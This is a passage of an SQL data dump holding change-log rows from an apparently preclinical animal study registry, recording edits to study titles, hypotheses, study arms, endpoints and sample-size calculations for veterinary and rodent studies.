needed.\",\"new_value\":\"Alternative\\/adjunctive treatment for infectious keratitis (melting keratitis, melting corneal ulcer, stromal corneal ulcer) in cannine patients.\\r\\n\\r\\nWe hypothesize that compared to standard treatment alone, the PACK-CXL will be more effective at stabilizing the corneal stroma in cases of melting ulcers in dogs and therefore minimize the number of surgical interventions needed.\"},{\"key\":\"hypothesis\",\"old_value\":\"We hypothesize that compared to standard treatment alone, the combination of PACK-CXL and medical treatment will be more effective at stabilizing the corneal stroma in cases of melting ulcers in dogs and therefore minimize the number of surgical interventions needed.\",\"new_value\":\"We hypothesize that compared to standard treatment alone, the PACK-CXL will be more effective at stabilizing the corneal stroma in cases of melting ulcers in dogs and therefore minimize the number of surgical interventions needed.\"},{\"key\":\"primary_readout_parameter\",\"old_value\":\"Efficacy: Primary endpoint of the study is:\\n1. The number of treatment failures per treatment arm.\\nTreatment failure: A case will be marked as treatment failure if additional interventions (rescue treatment) to the initiated treatment are needed to stabilize the cornea.\\nCriteria for the indication of the rescue treatment are persistence of any of the parameters below:\\n-\\tIncreased ulcer surface area\\n-\\tThinning of the residual stroma\\n-\\tLiquefaction or corneal necrosis if not already there at the presentation\\nRescue options:\\n-\\tcontrol arm (medical treatment): PACK-CXL, tectonic corneal surgery, enucleation of the eye\\n-\\ttreatment arm (PACK-CXL + medical treatment): tectonic corneal surgery, enucleation of the eye\\n\\nTime points: hospitalised patients will be monitor on a daily basis. Other patients will be monitor according to severity of signs (minimum at day 7, 14, 28)\\n\\nStudy will ends 28 days after starting of treatment for all patients. Patients that have not healed (continued stromal instability and\\/or presence of a fluorescein positive defect) at 28 days after start of treatment will be marked as \\u2018treatment failures due to non-healing\\u2019 at study conclusion. The reason (still unstable, still fluorescein positive) will be listed. \\n\",\"new_value\":\"Efficacy: Primary endpoint of the study is:\\n1. The number of treatment failures per treatment arm.\\nTreatment failure: A case will be marked as treatment failure if additional interventions (rescue treatment) to the initiated treatment are needed to stabilize the cornea.\\nCriteria for the indication of the rescue treatment are persistence of any of the parameters below:\\n-\\tIncreased ulcer surface area\\n-\\tThinning of the residual stroma\\n-\\tLiquefaction or corneal necrosis if not already there at the presentation\\nRescue options:\\n-\\tcontrol arm (medical treatment): PACK-CXL, tectonic corneal surgery, enucleation of the eye\\n-\\ttreatment arm (PACK-CXL + medical treatment): tectonic corneal surgery, enucleation of the eye\\n\\nTime points: hospitalised patients will be monitor on a daily basis. All patients will be monitor minimum at day 1, 2, 3, 7, 14 and 28)\\n\\nStudy will ends 28 days after starting of treatment for all patients. Patients that have not healed (continued stromal instability and\\/or presence of a fluorescein positive defect) at 28 days after start of treatment will be marked as \\u2018treatment failures due to non-healing\\u2019 at study conclusion. The reason (still unstable, still fluorescein positive) will be listed. \\n\"},{\"key\":\"sample_size_calculation_details\",\"old_value\":\"Was performed in G Power (Version 3.1) to estimate sample size. The number of dogs needed to measure the estimated proportional differences in the key outcome, \\u2018treatment success\\u2019 was calculated in a two-tailed Fisher Exact Test. The proportional treatment success of \\u2018medical treatment\\u2019 (based on a current data analysis from UZH) was estimated at 70% and the treatment success rate of PACK-CXL at 87%. At an alpha of 0.05 and a beta of 0.20 (e.g. a power of 0.80), 80 dogs are needed per treatment group, e.g. 160 in total.\",\"new_value\":\"Boundaries for the group sequential design were calculated with the O\'Brien and Fleming approach and the total sample size was set to obtain a power of 0.8 under the alternative hypothesis. When choosing three time points to analyse, interim data analyses can be performed after 90 and 180 animals have been enrolled and the study can be stopped if the calculated p-values fall below the predefined cut-off values of 0.0015 and 0.0181, respectively. If there is no evidence to reject the null hypothesis at these two time points, the study will be completed with enrolling 270 animals and data will be analysed at the end. The total sum needed in a group sequential approach is slightly higher (270 animals) than the 262 animals needed with a classical sample size estimation (binomial data). For the potential benefit of concluding the study with fewer animals without compromising validity (controlled family-wise error rate, no p-value stopping bias), we decided to choose the group sequential design. Sample size calculation and stopping rule were established with R software, version 3.5.2 and the package gsDesign. \\nApproximately 75% of patients in the control group are expected to reach the primary endpoint (based on clinical unpublished data from the University of Zurich, Zurich, Switzerland and the Animal Health Trust, Newmarket, United Kingdom). We expect that the experimental treatment will increase the number of patients expected to reach the primary endpoint to 87% (Pot SA; PACK-CXL: clinical results II. 1st International CXL Experts\\u2019 Meeting, December 2-3, 2016, Z\\u00fcrich) \"},{\"key\":\"title\",\"old_value\":\"Collagen Cross-Linking with Photoactivated Riboflavin (PACK-CXL) for the treatment of melting keratitisin dogs.\\n\",\"new_value\":\"Collagen Cross-Linking with Photoactivated Riboflavin (PACK-CXL) for the treatment of melting keratitis in dogs.\\n\"},{\"key\":\"sum_of_animals\",\"old_value\":\"160 dogs in total. 80 animals per treatment arm. \",\"new_value\":\"1st stage 90, 2nd stage 180, 3rd stage 270. In total 270 animals\"}]','2019-03-10 18:54:04','2019-03-10 18:54:04'),
	(138,131,'[{\"key\":\"experimental_design\",\"old_value\":\"A mice model with Fifteen 18-week-old female C57BL\\/6 mice was used.\",\"new_value\":\"A mice model (fracture \\/ pseudarthrosis) with Fifteen 18-week-old female C57BL\\/6 mice was used.\\nAll used mice were part of a control group.\"},{\"key\":\"yes_blinded_intervention_partially_details\",\"old_value\":\"No\",\"new_value\":\"Yes partially\"},{\"key\":\"research_field\",\"old_value\":\"Bone\",\"new_value\":\"Bone healing\"},{\"key\":\"primary_readout_parameter\",\"old_value\":\"Efficacy: Efficacy of different storage methods and the influence on bone tissue\",\"new_value\":\"Efficacy: Efficacy of different storage methods and the influence on bone tissue\\nThere is one endpoint measured; the load to failure rate after usage of different storage methods:\\nParaformaldehyde fixation vs. freezing vs. native murine bone tissue\"},{\"key\":\"strain\",\"old_value\":\"C57BL\\/6\",\"new_value\":\"C57BL\\/6, female, all 18 weeks old\"},{\"key\":\"investigators_blinded_assessment\",\"old_value\":\"\",\"new_value\":\"the_person_testing_was_blinded\"}]','2019-03-15 18:01:01','2019-03-15 18:01:01'),
	(139,142,'[{\"key\":\"short_title\",\"old_value\":\"PACK-CXL for the treatment of melting keratitisin dogs.\",\"new_value\":\"PACK-CXL for the treatment of stromal corneal ulcers dogs.\"},{\"key\":\"hypothesis\",\"old_value\":\"Alternative\\/adjunctive treatment for infectious keratitis (melting keratitis, melting corneal ulcer, stromal corneal ulcer) in cannine patients.\\r\\n\\r\\nWe hypothesize that compared to standard treatment alone, the PACK-CXL will be more effective at stabilizing the corneal stroma in cases of melting ulcers in dogs and therefore minimize the number of surgical interventions needed.\",\"new_value\":\"Alternative\\/adjunctive treatment for corneal ulcers (infectious keratitis,melting keratitis, melting corneal ulcer) in cannine patients.\\r\\n\\r\\nWe hypothesize that compared to standard treatment alone, the PACK-CXL will be more effective at stabilizing the corneal stroma in cases of corneal ulcers in dogs and therefore minimize the number of surgical interventions needed.\"},{\"key\":\"hypothesis\",\"old_value\":\"We hypothesize that compared to standard treatment alone, the PACK-CXL will be more effective at stabilizing the corneal stroma in cases of melting ulcers in dogs and therefore minimize the number of surgical interventions needed.\",\"new_value\":\"We hypothesize that compared to standard treatment alone, the PACK-CXL will be more effective at stabilizing the corneal stroma in cases of corneal ulcers in dogs and therefore minimize the number of surgical interventions needed.\"},{\"key\":\"primary_readout_parameter\",\"old_value\":\"Efficacy: Primary endpoint of the study is:\\n1. The number of treatment failures per treatment arm.\\nTreatment failure: A case will be marked as treatment failure if additional interventions (rescue treatment) to the initiated treatment are needed to stabilize the cornea.\\nCriteria for the indication of the rescue treatment are persistence of any of the parameters below:\\n-\\tIncreased ulcer surface area\\n-\\tThinning of the residual stroma\\n-\\tLiquefaction or corneal necrosis if not already there at the presentation\\nRescue options:\\n-\\tcontrol arm (medical treatment): PACK-CXL, tectonic corneal surgery, enucleation of the eye\\n-\\ttreatment arm (PACK-CXL + medical treatment): tectonic corneal surgery, enucleation of the eye\\n\\nTime points: hospitalised patients will be monitor on a daily basis. All patients will be monitor minimum at day 1, 2, 3, 7, 14 and 28)\\n\\nStudy will ends 28 days after starting of treatment for all patients. Patients that have not healed (continued stromal instability and\\/or presence of a fluorescein positive defect) at 28 days after start of treatment will be marked as \\u2018treatment failures due to non-healing\\u2019 at study conclusion. The reason (still unstable, still fluorescein positive) will be listed. \\n\",\"new_value\":\"Efficacy: Primary endpoint of the study is:\\n1. The number of treatment failures per treatment arm.\\nTreatment failure: A case will be marked as treatment failure if additional interventions (rescue treatment) to the initiated treatment are needed to stabilize the cornea.\\nCriteria for the indication of the rescue treatment are persistence of any of the parameters below:\\n-\\tIncreased ulcer surface area\\n-\\tThinning of the residual stroma\\n-\\tLiquefaction or corneal necrosis if not already there at the presentation\\nRescue options:\\n-\\tcontrol arm (medical treatment): PACK-CXL, tectonic corneal surgery, enucleation of the eye\\n-\\ttreatment arm (PACK-CXL): tectonic corneal surgery, enucleation of the eye\\n\\nTime points: hospitalised dogs will be monitor on a daily basis. All dogs will be monitor minimum at day 1, 2, 3, 7, 14 and 28)\\n\\nStudy will ends 28 days after starting of treatment for all dogs. Animals that have not healed (continued stromal instability and\\/or presence of a fluorescein positive defect) at 28 days after start of treatment will be marked as \\u2018treatment failures due to non-healing\\u2019 at study conclusion. The reason (still unstable, still fluorescein positive) will be listed. \\n\"},{\"key\":\"strain\",\"old_value\":\"Client owned dogs with a diagnosis of melting ulcers, with clients willing to participate in the study.\\nCorneal ulcers will be characterised by a loss of the outer epithelium along with stromal loss and stromal infiltrates, neutrophilic inflammation or large number of bacteria confirmed on cytology. (The presence of infiltrates is eunequivocal, if in doubt, do not enter into trial). \\n\\u25cf\\tMaximal ulcer depth: not deeper than 50% stromal loss.\\n\\u25cf\\tMaximal ulcer diameter: not larger than 10 mm of diameter of the affected stroma.\\nOnly dogs that are not suffering from concurrent potentially immunosuppressive systemic disease (e,g. Diabetes mellitus, Cushings); concurrent corticosteroid treatment (systemic or topical); concurrent ocular conditions such as: keratoconjunctivitis sicca, senile calcific keratopathy, corneal dystrophy\\/bullous keratopathy, glaucoma will be include in the study. \",\"new_value\":\"Client owned dogs with a diagnosis of a stromal corneal ulcers, with clients willing to participate in the study.\\nCorneal ulcers will be characterised by a loss of the outer epithelium along with stromal loss and stromal infiltrates, neutrophilic inflammation or large number of bacteria confirmed on cytology. (The presence of infiltrates is eunequivocal, if in doubt, do not enter into trial). \\n\\u25cf\\tMaximal ulcer depth: not deeper than 50% stromal loss.\\n\\u25cf\\tMaximal ulcer diameter: not larger than 10 mm of diameter of the affected stroma.\\nOnly dogs that are not suffering from concurrent potentially immunosuppressive systemic disease (e,g. Diabetes mellitus, Cushings); concurrent corticosteroid treatment (systemic or topical); concurrent ocular conditions such as: keratoconjunctivitis sicca, senile calcific keratopathy, corneal dystrophy\\/bullous keratopathy, glaucoma will be include in the study. \"},{\"key\":\"title\",\"old_value\":\"Collagen Cross-Linking with Photoactivated Riboflavin (PACK-CXL) for the treatment of melting keratitis in dogs.\\n\",\"new_value\":\"Collagen Cross-Linking with Photoactivated Riboflavin (PACK-CXL) for the treatment of stromal corneal ulcers in dogs.\\n\"}]','2019-04-08 16:22:57','2019-04-08 16:22:57'),
	(140,132,'[{\"key\":\"study_status\",\"old_value\":\"active\",\"new_value\":\"completed_but_not_published\"}]','2019-04-11 08:28:15','2019-04-11 08:28:15'),
	(141,150,'[{\"key\":\"primary_readout_parameter\",\"old_value\":\"\",\"new_value\":\"Efficacy: The relation between pre-trauma memory contextualization (measured with the discrimination ration in the object in context task) and anxiety behavior after trauma (measured with acoustic startle reactivity and the elevated plus maze) in individual rats\"},{\"key\":\"secondary_readout_parameter\",\"old_value\":\"\",\"new_value\":\"- determine if memory contextualization (object in context task) is affected by trauma exposure or a stable trait (i.e. stable pre- and post-trauma levels)\\n- determine if pre-trauma memory contextualization (object in context task) predicts the contextualization of trauma-related information (re-exposure to trauma context)\\n- determine the relationship between HPA-axis reactivity (cortisol) during trauma and subsequent PTSD susceptibility (based on the elevated plus maze and acoustic startle)\"}]','2019-04-27 09:23:30','2019-04-27 09:23:30'),
	(142,147,'[{\"key\":\"study_status\",\"old_value\":\"not_started\",\"new_value\":\"completed_but_not_published\"}]','2019-07-24 03:44:59','2019-07-24 03:44:59'),
	(143,159,'[{\"key\":\"study_status\",\"old_value\":\"active\",\"new_value\":\"completed_but_not_published\"}]','2019-07-31 14:19:49','2019-07-31 14:19:49'),
	(144,164,'[{\"key\":\"sum_of_animals\",\"old_value\":\"119\",\"new_value\":\"63\"}]','2019-08-30 16:44:12','2019-08-30 16:44:12'),
	(145,165,'[{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine every 3-min with 3:1 compression-to-ventilation ratio (3:1 C:V)\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine every 3-min with chest compressions plus sustained inflations (CC+SI)\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine every 5-min with 3:1 compression-to-ventilation ratio (3:1 C:V)\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine every 5-min with chest compressions plus sustained inflations (CC+SI)\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine every 8-min with 3:1 compression-to-ventilation ratio (3:1 C:V)\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine every 8-min with chest compressions plus sustained inflations (CC+SI)\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Vasopressin every 3-min with 3:1 compression-to-ventilation ratio (3:1 C:V)\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Vasopressin every 3-min with chest compressions plus sustained inflations (CC+SI)\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Vasopressin every 5-min with 3:1 compression-to-ventilation ratio (3:1 C:V)\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Vasopressin every 5-min with chest compressions plus sustained inflations (CC+SI)\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Vasopressin every 8-min with 3:1 compression-to-ventilation ratio (3:1 C:V)\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Vasopressin every 8-min with chest compressions plus sustained inflations (CC+SI)\"},{\"type\":\"sham\",\"number\":\"7\",\"intervention\":\"Sham\"}],\"new_value\":[{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine every 3-min with 3:1 compression-to-ventilation ratio (3:1 C:V)\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine every 5-min with 3:1 compression-to-ventilation ratio (3:1 C:V)\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine every 8-min with 3:1 compression-to-ventilation ratio (3:1 C:V)\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Vasopressin every 3-min with 3:1 compression-to-ventilation ratio (3:1 C:V)\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Vasopressin every 5-min with 3:1 compression-to-ventilation ratio (3:1 C:V)\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Vasopressin every 8-min with 3:1 compression-to-ventilation ratio (3:1 C:V)\"},{\"type\":\"sham\",\"number\":\"7\",\"intervention\":\"Sham\"}]},{\"key\":\"sum_of_animals\",\"old_value\":\"91\",\"new_value\":\"49\"}]','2019-08-30 16:47:04','2019-08-30 16:47:04'),
	(146,166,'[{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine (i.v.) with 3:1 compression-to-ventilation ratio (3:1 C:V)\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine (i.v.) with chest compressions plus sustained inflations (CC+SI)\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine (i.o.) with 3:1 compression-to-ventilation ratio (3:1 C:V)\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine (i.o.) with chest compressions plus sustained inflations (CC+SI)\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Vasopressin (i.v.) with 3:1 compression-to-ventilation ratio (3:1 C:V)\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Vasopressin (i.v.) with chest compressions plus sustained inflations (CC+SI)\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Vasopressin (i.o.) with 3:1 compression-to-ventilation ratio (3:1 C:V)\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Vasopressin (i.o.) with chest compressions plus sustained inflations (CC+SI)\"},{\"type\":\"sham\",\"number\":\"7\",\"intervention\":\"Sham\"}],\"new_value\":[{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine (i.v.) with 3:1 compression-to-ventilation ratio (3:1 C:V)\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine (i.o.) with 3:1 compression-to-ventilation ratio (3:1 C:V)\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Vasopressin (i.v.) with 3:1 compression-to-ventilation ratio (3:1 C:V)\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Vasopressin (i.o.) with 3:1 compression-to-ventilation ratio (3:1 C:V)\"},{\"type\":\"sham\",\"number\":\"7\",\"intervention\":\"Sham\"}]},{\"key\":\"sum_of_animals\",\"old_value\":\"63\",\"new_value\":\"35\"}]','2019-08-30 16:48:02','2019-08-30 16:48:02'),
	(147,164,'[{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine (0.01 mg\\/kg) with 3:1 compression-to-ventilation ratio (3:1 C:V) \"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine (0.01 mg\\/kg) with chest compressions plus sustained inflations (CC+SI) \"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine (0.03 mg\\/kg) with 3:1 compression-to-ventilation ratio (3:1 C:V) \"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine (0.03 mg\\/kg) with chest compressions plus sustained inflations (CC+SI) \"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine (0.05 mg\\/kg) with 3:1 compression-to-ventilation ratio (3:1 C:V) \"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine (0.05 mg\\/kg) with chest compressions plus sustained inflations (CC+SI) \"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine (0.1 mg\\/kg) with 3:1 compression-to-ventilation ratio (3:1 C:V) \"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine (0.1 mg\\/kg) with chest compressions plus sustained inflations (CC+SI) \"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Vasopressin (0.2 IU\\/kg) with 3:1 compression-to-ventilation ratio (3:1 C:V) \"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Vasopressin (0.2 IU\\/kg) with chest compressions plus sustained inflations (CC+SI) \"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Vasopressin (0.4 IU\\/kg) with 3:1 compression-to-ventilation ratio (3:1 C:V) \"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Vasopressin (0.4 IU\\/kg) with chest compressions plus sustained inflations (CC+SI) \"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Vasopressin (0.8 IU\\/kg) with 3:1 compression-to-ventilation ratio (3:1 C:V) \"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Vasopressin (0.8 IU\\/kg) with chest compressions plus sustained inflations (CC+SI) \"},{\"type\":\"control\",\"number\":\"7\",\"intervention\":\"Normal saline (0.9% NaCl) with 3:1 compression-to-ventilation ratio (3:1 C:V) \"},{\"type\":\"control\",\"number\":\"7\",\"intervention\":\"Normal saline (0.9% NaCl) with chest compressions plus sustained inflations (CC+SI) \"},{\"type\":\"sham\",\"number\":\"7\",\"intervention\":\"Sham\"}],\"new_value\":[{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine (0.01 mg\\/kg) with 3:1 compression-to-ventilation ratio (3:1 C:V) \"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine (0.03 mg\\/kg) with 3:1 compression-to-ventilation ratio (3:1 C:V) \"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine (0.05 mg\\/kg) with 3:1 compression-to-ventilation ratio (3:1 C:V) \"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Epinephrine (0.1 mg\\/kg) with 3:1 compression-to-ventilation ratio (3:1 C:V) \"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Vasopressin (0.2 IU\\/kg) with 3:1 compression-to-ventilation ratio (3:1 C:V) \"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Vasopressin (0.4 IU\\/kg) with 3:1 compression-to-ventilation ratio (3:1 C:V) \"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Vasopressin (0.8 IU\\/kg) with 3:1 compression-to-ventilation ratio (3:1 C:V) \"},{\"type\":\"control\",\"number\":\"7\",\"intervention\":\"Normal saline (0.9% NaCl) with 3:1 compression-to-ventilation ratio (3:1 C:V) \"},{\"type\":\"sham\",\"number\":\"7\",\"intervention\":\"Sham\"}]}]','2019-09-04 16:37:19','2019-09-04 16:37:19'),
	(148,167,'[{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"control\",\"number\":\"10\",\"intervention\":\"Water\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Diet Coke (aspartame and acesulfame K)\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Sprite (8.6% w\\/v sucrose and stevia)\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Kombucha (stevia and erythritol)\"}],\"new_value\":[{\"type\":\"control\",\"number\":\"8\",\"intervention\":\"Water\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"Diet Coke (aspartame and acesulfame K)\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"Sprite (8.6% w\\/v sucrose and stevia)\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"Kombucha (stevia and erythritol)\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"Cordial no added sugar (cyclamate, acesulfame K, sucralose)\"}]},{\"key\":\"hypothesis\",\"old_value\":\"Metabolic disease; Obesity\\r\\n\\r\\nWe hypothesise commercially available beverages containing only non-nutritive sweeteners (no sucrose) will not show complete metabolic recovery after ceasing sugar consumption in male rats. Our previous experiment identified fasting blood glucose levels and retroperitoneal fat pads did not recover to the same level as control (water) in female rats.  As such we need to know, if male rats display similar outcomes to determine if there are more ecologically valid model of non-nutritive sweetener consumption available.\",\"new_value\":\"Metabolic disease; Obesity\\r\\n\\r\\nWe hypothesise commercially available beverages containing only non-nutritive sweeteners (no sucrose) will not show complete metabolic recovery after ceasing sugar consumption in male rats. Our previous experiment identified fasting blood glucose levels and retroperitoneal fat pads did not recover to the same level as control (water) in female rats.  As such we need to know, if male rats display similar outcomes, to determine if there are more ecologically valid models of non-nutritive sweetener consumption available.\"},{\"key\":\"hypothesis\",\"old_value\":\"We hypothesise commercially available beverages containing only non-nutritive sweeteners (no sucrose) will not show complete metabolic recovery after ceasing sugar consumption in male rats. Our previous experiment identified fasting blood glucose levels and retroperitoneal fat pads did not recover to the same level as control (water) in female rats.  As such we need to know, if male rats display similar outcomes to determine if there are more ecologically valid model of non-nutritive sweetener consumption available.\",\"new_value\":\"We hypothesise commercially available beverages containing only non-nutritive sweeteners (no sucrose) will not show complete metabolic recovery after ceasing sugar consumption in male rats. Our previous experiment identified fasting blood glucose levels and retroperitoneal fat pads did not recover to the same level as control (water) in female rats.  As such we need to know, if male rats display similar outcomes, to determine if there are more ecologically valid models of non-nutritive sweetener consumption available.\"}]','2019-10-02 09:49:51','2019-10-02 09:49:51'),
	(149,147,'[{\"key\":\"title\",\"old_value\":\"Ecological validity of non-nutritive sweetener consumption models in Sprague Dawley rats \",\"new_value\":\"Ecological validity of non-nutritive sweetener consumption models in female Sprague Dawley rats \"}]','2019-10-02 09:50:32','2019-10-02 09:50:32'),
	(150,171,'[{\"key\":\"experimental_design\",\"old_value\":\"no animal model, dogs are patients in the clinic\",\"new_value\":\"no animal model, dogs are patients in the clinic\\n\"},{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"sham\",\"number\":\"side 1\",\"intervention\":\"placebo (gel)\"},{\"type\":\"intervention\",\"number\":\"side 2\",\"intervention\":\"antilichaam in gel\"}],\"new_value\":[{\"type\":\"sham\",\"number\":\"group 1 (side 1)\",\"intervention\":\"placebo (gel)\"},{\"type\":\"intervention\",\"number\":\"group 2 (side 2)\",\"intervention\":\"antibody in gel\"}]},{\"key\":\"hypothesis\",\"old_value\":\"bacteriele superficiele pyodermie\\r\\n\\r\\nHet relatief resterende geinfecteerde hiudoppervlak is kleiner voor de immuntherapie behandelde zijde dan voor de placebozijde.\",\"new_value\":\"bacterial superficial pyoderma\\r\\n\\r\\nThe relatively remaining infected skin area is smaller for the immunotherapy treated side than for the placebo side.\"},{\"key\":\"hypothesis\",\"old_value\":\"Het relatief resterende geinfecteerde hiudoppervlak is kleiner voor de immuntherapie behandelde zijde dan voor de placebozijde.\",\"new_value\":\"The relatively remaining infected skin area is smaller for the immunotherapy treated side than for the placebo side.\"},{\"key\":\"primary_readout_parameter\",\"old_value\":\"Efficacy: Uitkomstparameter log(T14\\/0\\/P14\\/0)  log(ratio bedandelde zijde\\/ratio placebozijde)\\nbetekent het geinfecteerde huidoppervlak na 14 dagen versus dag 0\\npercentage geinfecteerde huidoppervlak op 5% nauwkeurig\",\"new_value\":\"Efficacy: Outcome parameter log(T14\\/0\\/P14\\/0) log(ratio of verum side\\/ratio placebo side)\\nthe infected skin surface after 14 days versus day 0\\npercentage of infected skin surface area accurate to 5%\"},{\"key\":\"study_centre\",\"old_value\":[{\"name\":\"Univerity Clinic for companion animals\",\"city\":\"Utrecht\",\"country\":\"NL\"}],\"new_value\":[{\"name\":\"University Clinic for companion animals\",\"city\":\"Utrecht\",\"country\":\"NL\"}]},{\"key\":\"sample_size_calculation_details\",\"old_value\":\"Safe T-toets, eenzijdig, alpha=0.05, beta=0.2, minimal detectable difference -0.41 verwachte afname behandelde zijde 0.5 (T14\\/0), placebo 0.7 (P14\\/0)\\nexpected number of drop-outs 0\\n38 honden\\nDankzij Safe T-toets kunnen we eerder stoppen of langer doorgaan\",\"new_value\":\"Safe T-Test, one-sided, alpha=0.05, beta=0.2, minimal detectable difference -0.41 expected decrease treated side 0.5 (T14\\/0), placebo 0.7 (P14\\/0)\\nexpected number of drop-outs 0\\n38 dogs\\nThanks to the Safe T-Test we can stop earlier or continue longer.\"},{\"key\":\"title\",\"old_value\":\"Topicale antilichamen behandeling van canine patienten met bacteriele superficiele pyodermie\",\"new_value\":\"Topical antibody treatment of canine patients with bacterial superficial pyoderma\"},{\"key\":\"sum_of_animals\",\"old_value\":\"38\\nieder hond is zijn eigen controle, Linker-en rechterzijde (gepaard) van honden \",\"new_value\":\"38\\neach dog is its own control, left and right (paired) of dogs \"}]','2019-10-09 17:36:35','2019-10-09 17:36:35'),
	(151,171,'[{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"sham\",\"number\":\"group 1 (side 1)\",\"intervention\":\"placebo (gel)\"},{\"type\":\"intervention\",\"number\":\"group 2 (side 2)\",\"intervention\":\"antibody in gel\"}],\"new_value\":[{\"type\":\"sham\",\"number\":\"group 1 (side 1)\",\"intervention\":\"placebo (gel)\\/ 38 \"},{\"type\":\"intervention\",\"number\":\"group 2 (side 2)\",\"intervention\":\"antibody in gel\\/ 38\"}]},{\"key\":\"other_species\",\"old_value\":\"korthaarig\",\"new_value\":\"short-haired\"}]','2019-10-12 14:31:30','2019-10-12 14:31:30'),
	(152,172,'[{\"key\":\"end_date\",\"old_value\":\"2019-11-27\",\"new_value\":\"2019-10-15\"},{\"key\":\"start_date\",\"old_value\":\"2019-10-23\",\"new_value\":\"2019-10-09\"}]','2019-10-16 09:59:39','2019-10-16 09:59:39'),
	(153,172,'[{\"key\":\"study_status\",\"old_value\":\"not_started\",\"new_value\":\"active\"}]','2019-10-16 10:01:15','2019-10-16 10:01:15'),
	(154,175,'[{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"sham\",\"number\":\"20\",\"intervention\":\"Exp 1 Vehicle control wild type (WT)\"},{\"type\":\"sham\",\"number\":\"40\",\"intervention\":\"Exp 1 Vehicle control heterozygous (HET)\"},{\"type\":\"sham\",\"number\":\"20\",\"intervention\":\"Exp 1 Vehicle control homozygous (HOM)\"},{\"type\":\"intervention\",\"number\":\"20\",\"intervention\":\"Exp 1 Treated wild type (WT)\"},{\"type\":\"intervention\",\"number\":\"40\",\"intervention\":\"Exp 1 Treated heterozygous (HET)\"},{\"type\":\"intervention\",\"number\":\"20\",\"intervention\":\"Exp 1 Vehicle homozygous (HOM)\"},{\"type\":\"sham\",\"number\":\"19\",\"intervention\":\"Exp 2 Vehicle control wild type (WT)\"},{\"type\":\"sham\",\"number\":\"38\",\"intervention\":\"Exp 2 Vehicle control heterozygous (HET)\"},{\"type\":\"sham\",\"number\":\"19\",\"intervention\":\"Exp 2 Vehicle control homozygous (HOM)\"},{\"type\":\"intervention\",\"number\":\"19\",\"intervention\":\"Exp 2 Treated wild type (WT)\"},{\"type\":\"intervention\",\"number\":\"38\",\"intervention\":\"Exp 2 Treated heterozygous (HET)\"},{\"type\":\"intervention\",\"number\":\"19\",\"intervention\":\"Exp 2 Treated homozygous 